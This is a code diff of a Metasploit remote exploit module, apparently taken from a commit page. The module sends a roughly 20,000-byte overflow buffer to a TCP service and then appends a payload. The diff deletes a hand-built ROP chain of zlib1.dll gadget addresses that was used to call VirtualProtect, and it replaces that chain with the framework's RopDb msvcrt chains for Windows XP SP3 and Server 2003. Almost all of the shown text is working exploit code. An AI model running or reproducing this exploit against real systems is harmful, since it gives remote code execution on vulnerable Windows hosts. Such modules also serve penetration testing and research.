10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
11
Rank = GoodRanking
12
12
include Msf ::Exploit ::Remote ::Tcp
13
+ include Msf ::Exploit ::RopDb
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
@@ -37,11 +38,8 @@ def initialize(info = {})
37
38
} ,
38
39
'Targets' =>
39
40
[
40
- [ 'Windows Server 2008 SP1' , { 'vp_offset' => 0xffff0488 } ] ,
41
- [ 'Windows 7 SP1' , { 'vp_offset' => 0xfffe55f1 } ] ,
42
- [ 'Windows Server 2003 SP1' , { 'vp_offset' => 0xffff7483 } ] ,
43
- [ 'Windows XP SP3' , { 'vp_offset' => 0xfffed507 } ] ,
44
- [ 'Windows XP SP2' , { 'vp_offset' => 0xfffc882d } ] ,
41
+ [ 'Windows Server 2003 SP1-SP2' , { 'rop_target' => '2003' } ] ,
42
+ [ 'Windows XP SP3' , { 'rop_target' => 'xp' } ] ,
45
43
] ,
46
44
'DefaultTarget' => 0 ,
47
45
'Privileged' => true ,
@@ -66,40 +64,6 @@ def check
66
64
return Exploit ::CheckCode ::Safe
67
65
end
68
66
69
- def rop_chain
70
- # all addresses are in zlib1.dll
71
- rop_chain = [
72
- 0x61b8f873 , # POP EBP # RETN
73
- 0x06b930c6 , # 0x06b930c6-> ebp
74
- 0x61b86430 , # XCHG EAX,EBP # RETN
75
- 0x61b88f48 , # MOV ESI,DWORD PTR DS:[EAX+5B000016] # RETN
76
- 0x61b86858 , # POP ECX # ADC AL,39 # RETN
77
- target [ 'vp_offset' ] , # something-> ecx (offset of &k32.VirtualProtect - &k32.AddAtomA)
78
- 0x61b84c8d , # ADD ESI,ECX # POP EBX # MOV EAX,ESI # POP ESI # RETN
79
- 0x41414141 , # Filler (compensate)
80
- 0x61B925e0 , # address of zlib1:.edata
81
- 0x61b8fcab , # JMP EAX
82
- 0x61b8493a , # RETN (ROP NOP)
83
- 0x61B925e0 , # address of zlib1:.edata
84
- 0x00000500 , # dwSize
85
- 0x00000040 , # NewProtect
86
- 0x61B925d0 , # lpOldProtect
87
- 0x61b84939 , # POP EDI # RETN
88
- 0x00000000 , # 0x00000000-> edi
89
- 0x61b8f873 , # POP EBP # RETN
90
- 0x61b93146 , # 0x61b93146-> ebp
91
- 0x61b86430 , # XCHG EAX,EBP # RETN
92
- 0x61b8c9fc , # ADC EDI,DWORD PTR DS:[EAX-2] # MOV EBX,DWORD PTR SS:[ESP+8] # ADD ESP,0C # RETN
93
- 0x41414141 , # Filler (compensate)
94
- 0x42424242 , # Filler (compensate)
95
- 0x00000500 , # size
96
- 0x61b8f873 , # POP EBP # RETN
97
- 0x61B925e0 , # address of zlib1:.edata
98
- 0x61b820fd , # PUSHAD # RETN
99
- ] . pack ( "V*" )
100
- return rop_chain
101
- end
102
-
103
67
def exploit
104
68
connect
105
69
sock . put ( "db_net" )
@@ -109,8 +73,7 @@ def exploit
109
73
evil_data = '000052E1'
110
74
evil_data << 'A'
111
75
evil_data << ( '0' * 19991 ) # this can't be randomized, else a Read Access Violation will occur
112
- evil_data << rop_chain
113
- evil_data << payload . encoded
76
+ evil_data << generate_rop_payload ( 'msvcrt' , payload . encoded , { 'target' => target [ 'rop_target' ] } )
114
77
sock . put ( evil_data )
115
78
disconnect
116
79
end
0 commit comments